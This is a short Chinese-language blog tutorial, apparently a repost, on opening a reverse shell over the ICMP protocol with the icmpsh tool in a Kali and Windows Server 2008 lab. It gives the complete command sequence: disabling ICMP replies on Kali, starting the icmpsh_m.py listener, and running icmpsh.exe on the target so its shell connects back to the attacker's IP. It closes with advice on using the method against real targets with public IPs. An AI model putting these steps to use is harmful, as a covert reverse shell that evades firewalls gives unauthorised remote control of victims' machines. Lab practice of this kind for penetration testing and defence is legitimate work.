使用ICMP协议反弹shell

前言

icmpsh是一个简单的反向ICMP shell,与其他类似反弹shell的工具相比,他的主要优势在于它不需要管理权限即可运行到目标计算机上,毕竟ICMP协议谁都可以用。

环境准备

准备两台虚拟机

kali.2020              192.168.244.128
Windows server-2008    192.168.130

  

接下来利用这两台主机进行试验,目的是将window的shell反弹到kali中

icmpsh下载

Github地址:https://github.com/inquisb/icmpsh

开整

第一步,先关闭kali自身的icmp

sysctl -w net.ipv4.icmp_echo_ignore_all=1

至于为什么要进行这一步,下载工具时里面的readme文档已经写明了不关闭会有什么后果,文档是英文的,翻译过来大致意思你(kali)会收到被控制主机(windows)的信息,但你(kali)发出的指令被控制主机(windows)不一定收的到,所以保险起见,先把kali上的icmp关掉

第二部,在kali上运行icmpsh_m.py

部分人运行python脚本时可能会报这个错误

You need to install Python Impacket library first

报错说的也很明白,少impacket库,用pip装就完事儿了,怎么装就不在赘述了

在kali上运行下面的命令

命令格式:python icmpsh_m.py <源ip> <目的ip>

python icmpsh_m.py 192.168.244.128 192.168.244.130

  

然后在windows上运行icmpsh.exe

icmpsh.exe -t 192.168.244.128

查看kali,回弹shell成功

 用wireshark进行抓包,确实是在用ICMP进行通信

总结

ICMP协议作为在内网穿透中的利器,在做内网渗透时运用的还是比较多的,在做这个实验时我本来是想将虚拟机中的shell弹到一台公网服务器上,但是没有成功,原因是两台主机必须都有公网ip,所以在实战时要用到icmpsh的话,先使用其他方法获取到被控主机的公网IP吧。

原文地址:https://www.cnblogs.com/xuanlvsec/p/13717753.html